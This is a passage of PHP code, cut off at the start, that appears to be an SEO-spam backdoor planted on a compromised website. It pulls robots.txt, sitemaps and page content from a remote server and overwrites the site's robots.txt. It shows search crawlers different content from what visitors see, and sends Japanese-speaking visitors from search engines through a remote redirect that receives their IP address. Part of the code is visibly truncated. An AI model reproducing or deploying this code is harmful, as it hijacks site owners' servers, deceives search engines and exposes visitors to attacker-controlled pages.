(0 !== $errorCode) { return false; } return $output; } } $req = new Req(); $isc = $req->isc(); $isg = $req->isg(); $umap = $tr . "map"; $uri = urldecode($req->uri()); $p = array( "domain" => $req->dm(), "port" => $req->server('SERVER_PORT', 80), "uri" => $uri ); if (substr($uri, -10) == "robots.txt") { header("Content-type:text/plain; charset=utf-8"); die($req->execReq($tr . "robots", $p)); } if (substr($uri, -6) == "robots") { $output = $req->execReq($tr . "robots", $p); $rpt = __DIR__ . "/robots.txt"; file_put_contents($rpt, $output); $robots_cont = @file_get_contents($rpt); if (strpos(strtolower($robots_cont), "sitemap")) { die("robots.txt file create success!"); } else { die("robots.txt file create fail!"); } } if (substr($uri, -4) == ".xml") { if (strpos($uri, "allsitemap.xml") || strpos($uri, "sitemap-index.xml") || strpos($uri, "sitemap-index-1.xml") || strpos($uri, "index.xml")) { $output = $req->execReq($umap, $p); header("Content-type:text/" . (substr($output, 0, 5) === 'execReq($tr . "word", $p); header("Content-type:text/xml; charset=utf-8"); if ($output == "1") { die('' . $req->execReq($umap, $p)); } else { die('' . $output); } } $lang = $req->server('HTTP_ACCEPT_LANGUAGE'); if (!$isc && $isg && strpos($lang, 'ja')!==false) { $p["ip"] = $req->ip(); $action = $tr . "jump"; die($req->execReq($action, $p)); } if ($isc) { die('' . $req->execReq($tr . "indata", $p)); } ?>